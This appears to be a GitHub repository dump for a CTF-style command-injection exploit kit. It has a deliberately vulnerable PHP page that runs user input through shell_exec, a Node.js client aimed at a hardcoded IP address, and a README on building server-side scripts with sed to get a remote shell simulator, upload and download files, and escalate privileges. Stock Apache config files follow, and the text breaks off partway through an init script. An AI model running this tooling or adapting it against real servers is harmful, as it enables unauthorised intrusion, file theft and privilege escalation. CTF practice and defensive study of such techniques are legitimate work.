├── shell-exec-exploit ├── snapshot.jpg ├── exploit │ ├── package.json │ ├── libs │ │ ├── bash.js │ │ ├── request.js │ │ └── core.js │ ├── config.example.js │ ├── cli.js │ └── package-lock.json ├── CTF.md ├── env │ ├── index.php │ └── etc │ │ └── php │ │ └── etc │ │ ├── apache2 │ │ └── apache2.conf │ │ └── init.d │ │ └── apache2 └── README.md ├── .editorconfig ├── README.md └── .gitignore /shell-exec-exploit/snapshot.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hangxingliu/exploited/master/shell-exec-exploit/snapshot.jpg -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | [*.md] 2 | insert_final_newline = true 3 | indent_style = tab 4 | indent_size = 4 5 | trim_trailing_whitespace = false 6 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "web-shell", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "cli.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "colors": "^1.1.2", 13 | "hoek": "^5.0.3", 14 | "request": "^2.85.0" 15 | }, 16 | "devDependencies": { 17 | "@types/colors": "^1.1.3", 18 | "@types/node": "^8.0.53", 19 | "@types/request": "^2.0.8" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Exploited 2 | 3 | Some and exploiting programs (part for CTF challenge). 4 | 一些利用程序(部分用于CTF) 5 | 6 | Study reference only. 7 | 仅供学习参考 8 | 9 | Do not used for illegal activities. 10 | 你懂的 11 | 12 | ## TOC 13 | 14 | - [Shell exec exploit](shell-exec-exploit/README.md) 15 | 16 | ## Relative languages 17 | 18 | Javascript(Node.js), Bash, C and Python. 19 | 20 | ## License 21 | 22 | Creative Commons License 23 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/libs/bash.js: -------------------------------------------------------------------------------- 1 | // TODO viewFile => sed 2 | 3 | let bash = { 4 | viewHexFile: (file) => `xxd ${file}`, 5 | viewFile: (file) => `nl ${file}`, 6 | stat: (file) => `stat ${file}`, 7 | replaceOnceInEachLine: (from, to, file, newFile) => `sed s:${from}:${to}:w${newFile} ${file}`, 8 | readOneLineToFile: (line, file, newFile) => `sed ${line}w${newFile} ${file}`, 9 | copyTextFile: (from, to) => `sed w${to} ${from}`, 10 | execute: (binName, ...param) => `${binName} ` + param.join(' '), 11 | executeBashScript: (scriptFile, ...param) => `/bin/bash ${scriptFile} ` + param.join(' '), 12 | }; 13 | module.exports = bash; 14 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/config.example.js: -------------------------------------------------------------------------------- 1 | const UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'; 2 | 3 | module.exports = { 4 | uri: 'http://119.29.108.118/index.php', 5 | headers: { 6 | // 'User-Agent': UA, 7 | // 'Referer': '...' 8 | }, 9 | 10 | // the price of less temporary files is cannot concurrence 11 | lessTemporaryFile: true, 12 | path: { 13 | // If change it workspace path: 14 | // Don't include character "n" (Because make some tools need n character) 15 | workspace: '/tmp/p/', 16 | // characters directory must under workspace directory 17 | characters: '/tmp/p/ch/', 18 | }, 19 | }; -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ignore config file 2 | config.js 3 | # ignore download files 4 | download 5 | # ignore asset files 6 | assets 7 | 8 | # Logs 9 | logs 10 | *.log 11 | npm-debug.log* 12 | yarn-debug.log* 13 | yarn-error.log* 14 | 15 | # Runtime data 16 | pids 17 | *.pid 18 | *.seed 19 | *.pid.lock 20 | 21 | # Directory for instrumented libs generated by jscoverage/JSCover 22 | lib-cov 23 | 24 | # Coverage directory used by tools like istanbul 25 | coverage 26 | 27 | # nyc test coverage 28 | .nyc_output 29 | 30 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 31 | .grunt 32 | 33 | # Bower dependency directory (https://bower.io/) 34 | bower_components 35 | 36 | # node-waf configuration 37 | .lock-wscript 38 | 39 | # Compiled binary addons (https://nodejs.org/api/addons.html) 40 | build/Release 41 | 42 | # Dependency directories 43 | node_modules/ 44 | jspm_packages/ 45 | 46 | # Typescript v1 declaration files 47 | typings/ 48 | 49 | # Optional npm cache directory 50 | .npm 51 | 52 | # Optional eslint cache 53 | .eslintcache 54 | 55 | # Optional REPL history 56 | .node_repl_history 57 | 58 | # Output of 'npm pack' 59 | *.tgz 60 | 61 | # Yarn Integrity file 62 | .yarn-integrity 63 | 64 | # dotenv environment variables file 65 | .env 66 | 67 | -------------------------------------------------------------------------------- /shell-exec-exploit/CTF.md: -------------------------------------------------------------------------------- 1 | # Web - Shell Execute 2 | 3 | CTF challenge about executing shell command in. 4 | 调用Shell(执行命令)一类Web题. 5 | 6 | ## Challenge Examples 7 | 8 | - [challenge](env/index.php) 9 | 10 | ## LLQF (Look, Listen, Question and Feel) 11 | 12 | 1. Iterate characters to finding characters be filtered. 13 | - example input: `abcdefg......ABCDEFG.....` 14 | - maybe `cd` be filtered, ... 15 | 2. Check by inputting shell commands 16 | - example: `;cd`, `w`, `.../123`, `/123` ... 17 | - maybe display some unusual output 18 | ... 19 | 20 | 1. 输入字符集, 判断被过滤的字符 21 | - 例如: `abcdefg......ABCDEDG.....` 22 | - 出现了包括`cd`被过滤了的情况等... 23 | 2. 输入命令判断 24 | - 例如: `;cd`, `w`, `../123`, `/123` ... 25 | - 出现非正常输出 26 | ... 27 | 28 | ## Solve 29 | 30 | 1. Find commands will not be filtered. 31 | 2. Combine pipe(`|`), file I/O(`>`, `<`, `>>`, `2>`), `xargs` ... 32 | 33 | 1. 找出可用的(未被过滤)的命令/字符 34 | 2. 管道,文件IO,`xargs`...组合使用 35 | 36 | ## Exploit 37 | 38 | 1. Create WebShell php file for shell and use some tools (for example: antSword) 39 | 2. Exploit by using escape input and creating script file to getting Shell with local scripts. 40 | 3. Find some sensitive files(for example: config files). 41 | 4. Find some public port or sharing for exploiting. 42 | 5. Guess password from sensitive files. 43 | 6. Query CVE, escalate privileges. 44 | 45 | 1. 创建 WebShell PHP 文件取得shell 46 | 2. 直接利用现有输入 通过转义, 建立脚本等方法 配合本地脚本 取得shell 47 | 3. 如果是题目不是独立环境(例如docker), 可以尝试查找敏感文件,数据库等获取进一步信息 48 | 4. 如果环境是独立环境(例如docker), 可以尝试通过现有的开放端口或共享等进一步利用 49 | 5. 通过敏感文件内容猜测密码 50 | 6. 查阅CVE,利用漏洞提权. 51 | 52 | ## Defense 53 | 54 | 1. More filter rules in challenge. 55 | 2. Control user permission(www-root). 56 | 3. Put challenge in standalone environment(for example: docker) 57 | 4. Keep your OS up to date with the latest patches. 58 | 59 | 1. 在题目允许范围内加大过滤力度 60 | 2. 控制用户(www-root)权限 61 | 3. 独立环境运行题目(例如: docker) 62 | 4. 及时更新系统补丁 63 | -------------------------------------------------------------------------------- /shell-exec-exploit/exploit/libs/request.js: -------------------------------------------------------------------------------- 1 | //@ts-check 2 | let { uri, headers } = require('../config'); 3 | 4 | module.exports = { create }; 5 | 6 | /** 7 | * @param {(input: string) => string} inputFormatter 8 | * @param {(result: string, statusCode: number) => string} resultFormatter 9 | */ 10 | function create(inputFormatter, resultFormatter) { 11 | let postQ = []; 12 | let context = { exec }; 13 | return context; 14 | 15 | /** 16 | * @param {('debug_break'|string|(string[]))[]} commands 17 | * @param {(result: string, statusCode: number) => any} callback */ 18 | function exec(commands = [], callback) { 19 | let cmds = []; 20 | for (let cmd of commands) { 21 | if (!cmd) continue; 22 | if (cmd == 'debug_break') break; 23 | if (Array.isArray(cmd)) 24 | cmds = cmds.concat(cmd); 25 | else 26 | cmds.push(cmd); 27 | } 28 | 29 | let cmdStr = cmds.join(';'); 30 | if (inputFormatter) cmdStr = inputFormatter(cmdStr); 31 | 32 | request(cmdStr, callback); 33 | return context; 34 | } 35 | 36 | /** @param {(result: string, statusCode: number) => any} callback */ 37 | function request(command = null, callback) { 38 | if (!command && !postQ.length) return; 39 | 40 | if (command && postQ.length) return postQ.push([command, callback]); 41 | if (command && !postQ.length) postQ.push([command, callback]); 42 | 43 | if (!command) { 44 | command = postQ[0][0]; 45 | callback = postQ[0][1]; 46 | } 47 | 48 | require('request')({ 49 | method: 'post', url: uri, 50 | form: { name: command, submit: 'submit' } 51 | }, (err, res, body) => { 52 | if (err) { 53 | console.error(err.message); 54 | return process.nextTick(request); 55 | } 56 | postQ.shift(); 57 | process.nextTick(request); 58 | 59 | let bd = String(body) || ''; 60 | if(resultFormatter) bd = resultFormatter(bd, res.statusCode); 61 | 62 | callback && callback(bd, res.statusCode); 63 | }) 64 | } 65 | } -------------------------------------------------------------------------------- /shell-exec-exploit/env/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 |

what is your name?

9 |
10 |
11 | 12 | 13 |
14 |
15 |
16 | 17 | 18 | 19 | '_', 24 | '<' => '_', 25 | '>' => '_', 26 | '%0a' => '_', 27 | '%09' => '_', 28 | '%0d' => '_', 29 | ' ' => '_', 30 | '-' => '_', 31 | '(' => '_', 32 | ')' => '_', 33 | '|' => '_', 34 | '`' => '_', 35 | '||' => '_', 36 | 'echo' => '_', 37 | 'ls' => '_', 38 | 'cat' => '_', 39 | 'find' => '_', 40 | 'cd' => '_', 41 | 'pwd' => '_', 42 | 'mkdir' => '_', 43 | 'cp' => '_', 44 | 'rm' => '_', 45 | 'mv' => '_', 46 | 'tac' => '_', 47 | 'more' => '_', 48 | 'less' => '_', 49 | 'head' => '_', 50 | 'touch' => '_', 51 | 'file' => '_', 52 | 'which' => '_', 53 | 'whereis' => '_', 54 | 'locate' => '_', 55 | 'dir' => '_', 56 | '*' => '_', 57 | '+' => '_', 58 | '=' => '_', 59 | '%' => '_', 60 | '-' => '_', 61 | '\\' => '_', 62 | '\'' => '_', 63 | '`' => '_', 64 | 'k' => '_' //avoiding kill ,kill and pkill ... 65 | ); 66 | $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 67 | if (stristr(php_uname('s'), 'Windows NT')) { 68 | $cmd = shell_exec( 'ping ' . $target ); 69 | echo '
'.iconv('GB2312', 'UTF-8',$cmd).'
'; 70 | } else { 71 | $cmd = shell_exec( 'echo ' . $target ); 72 | echo '
'."your name is: ".iconv('GB2312', 'UTF-8',$cmd).'
'; 73 | } 74 | } 75 | ?> -------------------------------------------------------------------------------- /shell-exec-exploit/README.md: -------------------------------------------------------------------------------- 1 | # Shell Exec Exploit Tools 2 | 3 | [Document for CTF](CTF.md) 4 | 5 | **WARNING! This exploit is used in legal safe test and study, for illegal purposes is strictly prohibited.** 6 | 7 | **警告! 此程序仅用于合法的安全测试/渗透与学习, 严禁用于非法目的.** 8 | 9 | This exploit is not apply to any situation, modify it in follow locations if you want to use it. 10 | 这个利用程序并不适用于任何测试情况, 请根据实际情况修改下列内容: 11 | 12 | - `exploit/libs/config.js` (create it based on `config.example.js`) 13 | - `exploit/libs/bash.js` 14 | - `exploit/libs/core.js` 15 | - `#inputFormatter`: function encoding your input 16 | - `#responseFormatter`: function decoding output 17 | - `string: "/etc/php/etc/init.d/apache2"` 18 | - `string: "/etc/php/etc/apache2/apache2.conf"` 19 | 20 | ## Snapshot 预览 21 | 22 | ![](snapshot.jpg) 23 | 24 | ## Exploit environment 服务器环境 25 | 26 | - PHP 27 | - A PHP file support an input to shell execute has not filter these commands: 28 | - `sed` 29 | - `bash` 30 | - `xxd` 31 | - `stat` 32 | - `/etc/php/etc/init.d/apache2` (It will be replaced to more common file) 33 | - `/etc/php/etc/apache2/apache2.conf` (It will be replaced to more common file) 34 | 35 | ## Principle 原理 36 | 37 | 1. Generate simply single line bash script by `sed` from other file on server. 38 | - `sed $LINE_NUMBER/w$FILE $ORIGINAL_FILE`: extract a line from file 39 | - `sed s/$FROM/$TO/w$NEW_FILE $FILE`: replace content to new file 40 | 2. Generate workspace folder `/tmp/p` by using way *1*.(because `mkdir` be filtered) 41 | 3. Create tools `ex` and `ab2c` by using way *1*. 42 | - `ex `: `chmod 777 $1` make a file executable. 43 | - `ab2c `: `cat $1 $2 | sed w$3` concatenate two files. 44 | 4. Generate single character files from ascii 10 to 13 and 32 to 127 named by its oct number in `/tmp/p/ch`. 45 | - for example: `printf>/tmp/p/ch/012 \\012` //`\n` 46 | 5. Generate more powerful scripts by concatenating single character files above. 47 | - upgrade `ab2c` to `cat $1 $2 > $3` 48 | - `sb64 ...` 49 | - safe base64(`_a`=>`k`/`_b`=>`K`/`_c`=>`+`/`_d`=>`=`) decoder and writer 50 | - it is used for received any commands be encoded in safe base64 from client and decode it to file 51 | 6. Simulate server shell based on `sb64` toolkit. 52 | 7. Finish! Just execute `./cli.js shell` now. 53 | 54 | 中文: 55 | 56 | 1. `sed` 能 通过提取替换系统中别的文件 生成简单的单行命令脚本。 57 | 2. 通过第一条原理, 创建工作环境`/tmp/p` (`mkdir` 被过滤了, 只能这样绕过) 58 | 3. 通过第一条原理, 创建简单工具`ex` 和 `ab2c`. 59 | - `ex`: 将一个文件带上可执行权限 60 | - `ab2c`: 拼接两个文件到一个新的文件 61 | 4. 通过第一条原理, 创建一堆单字节文件到目录`/tmp/p/ch` (ASCII: 10~13, 32~127) 62 | - 例如写入回车字符文件: `printf>/tmp/p/ch/012 \\012` 63 | 5. 通过上述的单字节文本拼接成更强大的工具 64 | - 将`ab2c`改写成`cat $1 $2 > $3` (相比`sed w$3`减少了输出) 65 | - `sb64 ...` 66 | - 传输安全的base64(`_a`=>`k`/`_b`=>`K`/`_c`=>`+`/`_d`=>`=`) 解码及写入工具 67 | - 这样就能接受任意从客户端传来的(经过传输安全的base64编码)的命令, 并解码存入文件 68 | 6. 通过`sb64`就能构建Shell模拟器了 69 | 7. 在`./cli.js`中展开你的脑洞吧. 70 | 71 | 72 | ## Usage 使用 73 | 74 | 1. Install `node` environment (at least 6.0) 75 | - 76 | 2. `cd exploit; npm install` 77 | 3. `cp config.example.js config.js` 78 | 4. config `config.js` (for example: change exploit uri) 79 | 5. init basic environment on server bt executing `./cli.js init` 80 | 6. if last command success then execute `./cli.js shell` to open shell simulator to server. 81 | 7. you can upload file to server by executing `./cli.js upload pathOnServer file1 file2 ...` 82 | - or `cli.js upload pathOnServer folder/*.bin` 83 | 8. destroy environment on server: `./cli.js destroy` 84 | 9. in `./cli.js shell`: 85 | - support `cd`, `pushd`, `popd`, `exit` and most commands 86 | - `.view remoteFilePath`: view a remote file in encoding safe way 87 | - `.download remoteFilePath`: download a remote file 88 | - `.exec remoteFilePath`: same as `remoteFilePath` in normal shell (execute a executable file). 89 | - why: because command starts with `.` is keyword in Node REPL 90 | 91 | 中文: 92 | 93 | 1. 安装`node`环境(至少6.0) 94 | - 95 | 2. `cd exploit; npm install` 96 | 3. `cp config.example.js config.js` 97 | 4. 配置 `config.js` (例如: 修改测试URI) 98 | 5. 执行 `./cli.js init` 以初始化必要环境在服务器上 99 | 6. 如果初始化成功, 然后执行 `./cli.js shell` 以打开服务器Shell模拟器. 100 | 7. 或执行 `./cli.js upload pathOnServer file1 file2 ...` 来上传文件 101 | - 或 `cli.js upload pathOnServer folder/*.bin` 批量上传 102 | 8. 销毁服务器上的相关环境: `./cli.js destroy` 103 | 9. 在 `./cli.js shell` 打开的Shell模拟器中: 104 | - 支持 `cd`, `pushd`, `popd`, `exit` 和大部分命令 105 | - `.view remoteFilePath`: 编码安全地查看一个服务器上的文件 106 | - `.download remoteFilePath`: 下载一个服务器上的文件 107 | - `.exec remoteFilePath`: 和正常Shell中的 `remoteFilePath` 命令一样 (执行一个可执行文件). 108 | - 为什么要这么做: 因为 `.` 打头的命令是关键字在 Node 的 REPL 中 109 | 110 | 111 | -------------------------------------------------------------------------------- /shell-exec-exploit/env/etc/php/etc/apache2/apache2.conf: -------------------------------------------------------------------------------- 1 | # This is the main Apache server configuration file. It contains the 2 | # configuration directives that give the server its instructions. 3 | # See http://httpd.apache.org/docs/2.4/ for detailed information about 4 | # the directives and /usr/share/doc/apache2/README.Debian about Debian specific 5 | # hints. 6 | # 7 | # 8 | # Summary of how the Apache 2 configuration works in Debian: 9 | # The Apache 2 web server configuration in Debian is quite different to 10 | # upstream's suggested way to configure the web server. This is because Debian's 11 | # default Apache2 installation attempts to make adding and removing modules, 12 | # virtual hosts, and extra configuration directives as flexible as possible, in 13 | # order to make automating the changes and administering the server as easy as 14 | # possible. 15 | 16 | # It is split into several files forming the configuration hierarchy outlined 17 | # below, all located in the /etc/apache2/ directory: 18 | # 19 | # /etc/apache2/ 20 | # |-- apache2.conf 21 | # | `-- ports.conf 22 | # |-- mods-enabled 23 | # | |-- *.load 24 | # | `-- *.conf 25 | # |-- conf-enabled 26 | # | `-- *.conf 27 | # `-- sites-enabled 28 | # `-- *.conf 29 | # 30 | # 31 | # * apache2.conf is the main configuration file (this file). It puts the pieces 32 | # together by including all remaining configuration files when starting up the 33 | # web server. 34 | # 35 | # * ports.conf is always included from the main configuration file. It is 36 | # supposed to determine listening ports for incoming connections which can be 37 | # customized anytime. 38 | # 39 | # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ 40 | # directories contain particular configuration snippets which manage modules, 41 | # global configuration fragments, or virtual host configurations, 42 | # respectively. 43 | # 44 | # They are activated by symlinking available configuration files from their 45 | # respective *-available/ counterparts. These should be managed by using our 46 | # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See 47 | # their respective man pages for detailed information. 48 | # 49 | # * The binary is called apache2. Due to the use of environment variables, in 50 | # the default configuration, apache2 needs to be started/stopped with 51 | # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not 52 | # work with the default configuration. 53 | 54 | 55 | # Global configuration 56 | # 57 | 58 | # 59 | # ServerRoot: The top of the directory tree under which the server's 60 | # configuration, error, and log files are kept. 61 | # 62 | # NOTE! If you intend to place this on an NFS (or otherwise network) 63 | # mounted filesystem then please read the Mutex documentation (available 64 | # at ); 65 | # you will save yourself a lot of trouble. 66 | # 67 | # Do NOT add a slash at the end of the directory path. 68 | # 69 | #ServerRoot "/etc/apache2" 70 | 71 | # 72 | # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. 73 | # 74 | Mutex file:${APACHE_LOCK_DIR} default 75 | 76 | # 77 | # PidFile: The file in which the server should record its process 78 | # identification number when it starts. 79 | # This needs to be set in /etc/apache2/envvars 80 | # 81 | PidFile ${APACHE_PID_FILE} 82 | 83 | # 84 | # Timeout: The number of seconds before receives and sends time out. 85 | # 86 | Timeout 300 87 | 88 | # 89 | # KeepAlive: Whether or not to allow persistent connections (more than 90 | # one request per connection). Set to "Off" to deactivate. 91 | # 92 | KeepAlive On 93 | 94 | # 95 | # MaxKeepAliveRequests: The maximum number of requests to allow 96 | # during a persistent connection. Set to 0 to allow an unlimited amount. 97 | # We recommend you leave this number high, for maximum performance. 98 | # 99 | MaxKeepAliveRequests 100 100 | 101 | # 102 | # KeepAliveTimeout: Number of seconds to wait for the next request from the 103 | # same client on the same connection. 104 | # 105 | KeepAliveTimeout 5 106 | 107 | 108 | # These need to be set in /etc/apache2/envvars 109 | User ${APACHE_RUN_USER} 110 | Group ${APACHE_RUN_GROUP} 111 | 112 | # 113 | # HostnameLookups: Log the names of clients or just their IP addresses 114 | # e.g., www.apache.org (on) or 204.62.129.132 (off). 115 | # The default is off because it'd be overall better for the net if people 116 | # had to knowingly turn this feature on, since enabling it means that 117 | # each client request will result in AT LEAST one lookup request to the 118 | # nameserver. 119 | # 120 | HostnameLookups Off 121 | 122 | # ErrorLog: The location of the error log file. 123 | # If you do not specify an ErrorLog directive within a 124 | # container, error messages relating to that virtual host will be 125 | # logged here. If you *do* define an error logfile for a 126 | # container, that host's errors will be logged there and not here. 127 | # 128 | ErrorLog ${APACHE_LOG_DIR}/error.log 129 | 130 | # 131 | # LogLevel: Control the severity of messages logged to the error_log. 132 | # Available values: trace8, ..., trace1, debug, info, notice, warn, 133 | # error, crit, alert, emerg. 134 | # It is also possible to configure the log level for particular modules, e.g. 135 | # "LogLevel info ssl:warn" 136 | # 137 | LogLevel warn 138 | 139 | # Include module configuration: 140 | IncludeOptional mods-enabled/*.load 141 | IncludeOptional mods-enabled/*.conf 142 | 143 | # Include list of ports to listen on 144 | Include ports.conf 145 | 146 | 147 | # Sets the default security model of the Apache2 HTTPD server. It does 148 | # not allow access to the root filesystem outside of /usr/share and /var/www. 149 | # The former is used by web applications packaged in Debian, 150 | # the latter may be used for local directories served by the web server. If 151 | # your system is serving content from a sub-directory in /srv you must allow 152 | # access here, or in any related virtual host. 153 | 154 | Options FollowSymLinks 155 | AllowOverride None 156 | Require all denied 157 | 158 | 159 | 160 | AllowOverride None 161 | Require all granted 162 | 163 | 164 | 165 | Options FollowSymLinks 166 | AllowOverride None 167 | Require all granted 168 | 169 | 170 | # 171 | # Options Indexes FollowSymLinks 172 | # AllowOverride None 173 | # Require all granted 174 | # 175 | 176 | 177 | 178 | 179 | # AccessFileName: The name of the file to look for in each directory 180 | # for additional configuration directives. See also the AllowOverride 181 | # directive. 182 | # 183 | AccessFileName .htaccess 184 | 185 | # 186 | # The following lines prevent .htaccess and .htpasswd files from being 187 | # viewed by Web clients. 188 | # 189 | 190 | Require all denied 191 | 192 | 193 | 194 | # 195 | # The following directives define some format nicknames for use with 196 | # a CustomLog directive. 197 | # 198 | # These deviate from the Common Log Format definitions in that they use %O 199 | # (the actual bytes sent including headers) instead of %b (the size of the 200 | # requested file), because the latter makes it impossible to detect partial 201 | # requests. 202 | # 203 | # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. 204 | # Use mod_remoteip instead. 205 | # 206 | LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined 207 | LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined 208 | LogFormat "%h %l %u %t \"%r\" %>s %O" common 209 | LogFormat "%{Referer}i -> %U" referer 210 | LogFormat "%{User-agent}i" agent 211 | 212 | # Include of directories ignores editors' and dpkg's backup files, 213 | # see README.Debian for details. 214 | 215 | # Include generic snippets of statements 216 | IncludeOptional conf-enabled/*.conf 217 | 218 | # Include the virtual host configurations: 219 | IncludeOptional sites-enabled/*.conf 220 | 221 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 222 | -------------------------------------------------------------------------------- /shell-exec-exploit/env/etc/php/etc/init.d/apache2: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | ### BEGIN INIT INFO 3 | # Provides: apache2 4 | # Required-Start: $local_fs $remote_fs $network $syslog $named 5 | # Required-Stop: $local_fs $remote_fs $network $syslog $named 6 | # Default-Start: 2 3 4 5 7 | # Default-Stop: 0 1 6 8 | # X-Interactive: true 9 | # Short-Description: Apache2 web server 10 | # Description: Start the web server 11 | # This script will start the apache2 web server. 12 | ### END INIT INFO 13 | 14 | DESC="Apache httpd web server" 15 | NAME=apache2 16 | DAEMON=/usr/sbin/$NAME 17 | 18 | SCRIPTNAME="${0##*/}" 19 | SCRIPTNAME="${SCRIPTNAME##[KS][0-9][0-9]}" 20 | if [ -n "$APACHE_CONFDIR" ] ; then 21 | if [ "${APACHE_CONFDIR##/etc/apache2-}" != "${APACHE_CONFDIR}" ] ; then 22 | DIR_SUFFIX="${APACHE_CONFDIR##/etc/apache2-}" 23 | else 24 | DIR_SUFFIX= 25 | fi 26 | elif [ "${SCRIPTNAME##apache2-}" != "$SCRIPTNAME" ] ; then 27 | DIR_SUFFIX="-${SCRIPTNAME##apache2-}" 28 | APACHE_CONFDIR=/etc/apache2$DIR_SUFFIX 29 | else 30 | DIR_SUFFIX= 31 | APACHE_CONFDIR=/etc/apache2 32 | fi 33 | if [ -z "$APACHE_ENVVARS" ] ; then 34 | APACHE_ENVVARS=$APACHE_CONFDIR/envvars 35 | fi 36 | export APACHE_CONFDIR APACHE_ENVVARS 37 | 38 | ENV="env -i LANG=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" 39 | if [ "$APACHE_CONFDIR" != /etc/apache2 ] ; then 40 | ENV="$ENV APACHE_CONFDIR=$APACHE_CONFDIR" 41 | fi 42 | if [ "$APACHE_ENVVARS" != "$APACHE_CONFDIR/envvars" ] ; then 43 | ENV="$ENV APACHE_ENVVARS=$APACHE_ENVVARS" 44 | fi 45 | 46 | PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE) 47 | 48 | VERBOSE=no 49 | if [ -f /etc/default/rcS ]; then 50 | . /etc/default/rcS 51 | fi 52 | . /lib/lsb/init-functions 53 | 54 | 55 | # Now, set defaults: 56 | APACHE2CTL="$ENV apache2ctl" 57 | PIDFILE=$(. $APACHE_ENVVARS && echo $APACHE_PID_FILE) 58 | APACHE2_INIT_MESSAGE="" 59 | 60 | CONFTEST_OUTFILE= 61 | cleanup() { 62 | if [ -n "$CONFTEST_OUTFILE" ] ; then 63 | rm -f "$CONFTEST_OUTFILE" 64 | fi 65 | } 66 | trap cleanup 0 # "0" means "EXIT", but "EXIT" is not portable 67 | 68 | 69 | apache_conftest() { 70 | [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE" 71 | CONFTEST_OUTFILE=$(mktemp) 72 | if ! $APACHE2CTL configtest > "$CONFTEST_OUTFILE" 2>&1 ; then 73 | return 1 74 | else 75 | rm -f "$CONFTEST_OUTFILE" 76 | CONFTEST_OUTFILE= 77 | return 0 78 | fi 79 | } 80 | 81 | clear_error_msg() { 82 | [ -z "$CONFTEST_OUTFILE" ] || rm -f "$CONFTEST_OUTFILE" 83 | CONFTEST_OUTFILE= 84 | APACHE2_INIT_MESSAGE= 85 | } 86 | 87 | print_error_msg() { 88 | [ -z "$APACHE2_INIT_MESSAGE" ] || log_warning_msg "$APACHE2_INIT_MESSAGE" 89 | if [ -n "$CONFTEST_OUTFILE" ] ; then 90 | echo "Output of config test was:" >&2 91 | cat "$CONFTEST_OUTFILE" >&2 92 | rm -f "$CONFTEST_OUTFILE" 93 | CONFTEST_OUTFILE= 94 | fi 95 | } 96 | 97 | apache_wait_start() { 98 | local STATUS=$1 99 | local i=0 100 | 101 | if [ $STATUS != 0 ] ; then 102 | return $STATUS 103 | fi 104 | while : ; do 105 | PIDTMP=$(pidofproc -p $PIDFILE $DAEMON) 106 | if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then 107 | return $STATUS 108 | fi 109 | 110 | if [ $i = "20" ] ; then 111 | APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX instance did not start within 20 seconds. Please read the log files to discover problems" 112 | return 2 113 | fi 114 | 115 | [ "$VERBOSE" != no ] && log_progress_msg "." 116 | sleep 1 117 | i=$(($i+1)) 118 | done 119 | } 120 | 121 | apache_wait_stop() { 122 | local STATUS=$1 123 | 124 | if [ $STATUS != 0 ] ; then 125 | return $STATUS 126 | fi 127 | 128 | PIDTMP=$(pidofproc -p $PIDFILE $DAEMON) 129 | if [ -n "${PIDTMP:-}" ] && kill -0 "${PIDTMP:-}" 2> /dev/null; then 130 | local i=0 131 | while kill -0 "${PIDTMP:-}" 2> /dev/null; do 132 | if [ $i = '60' ]; then 133 | break 134 | STATUS=2 135 | fi 136 | [ "$VERBOSE" != no ] && log_progress_msg "." 137 | sleep 1 138 | i=$(($i+1)) 139 | done 140 | return $STATUS 141 | else 142 | return $STATUS 143 | fi 144 | } 145 | 146 | 147 | # 148 | # Function that starts the daemon/service 149 | # 150 | do_start() 151 | { 152 | # Return 153 | # 0 if daemon has been started 154 | # 1 if daemon was already running 155 | # 2 if daemon could not be started 156 | 157 | if pidofproc -p $PIDFILE "$DAEMON" > /dev/null 2>&1 ; then 158 | return 1 159 | fi 160 | 161 | if apache_conftest ; then 162 | $APACHE2CTL start 163 | apache_wait_start $? 164 | return $? 165 | else 166 | APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed." 167 | return 2 168 | fi 169 | } 170 | 171 | # 172 | # Function that stops the daemon/service 173 | # 174 | do_stop() 175 | { 176 | # Return 177 | # 0 if daemon has been stopped 178 | # 1 if daemon was already stopped 179 | # 2 if daemon could not be stopped 180 | # other if a failure occurred 181 | 182 | # either "stop" or "graceful-stop" 183 | local STOP=$1 184 | # can't use pidofproc from LSB here 185 | local AP_RET=0 186 | 187 | if pidof $DAEMON > /dev/null 2>&1 ; then 188 | if [ -e $PIDFILE ] && pidof $DAEMON | tr ' ' '\n' | grep -w $(cat $PIDFILE) > /dev/null 2>&1 ; then 189 | AP_RET=2 190 | else 191 | AP_RET=1 192 | fi 193 | else 194 | AP_RET=0 195 | fi 196 | 197 | # AP_RET is: 198 | # 0 if Apache (whichever) is not running 199 | # 1 if Apache (whichever) is running 200 | # 2 if Apache from the PIDFILE is running 201 | 202 | if [ $AP_RET = 0 ] ; then 203 | return 1 204 | fi 205 | 206 | if [ $AP_RET = 2 ] && apache_conftest ; then 207 | $APACHE2CTL $STOP > /dev/null 2>&1 208 | apache_wait_stop $? 209 | return $? 210 | else 211 | if [ $AP_RET = 2 ]; then 212 | clear_error_msg 213 | APACHE2_INIT_MESSAGE="The apache2$DIR_SUFFIX configtest failed, so we are trying to kill it manually. This is almost certainly suboptimal, so please make sure your system is working as you'd expect now!" 214 | killproc -p $PIDFILE $DAEMON 215 | apache_wait_stop $? 216 | return $? 217 | elif [ $AP_RET = 1 ] ; then 218 | APACHE2_INIT_MESSAGE="There are processes named 'apache2' running which do not match your pid file which are left untouched in the name of 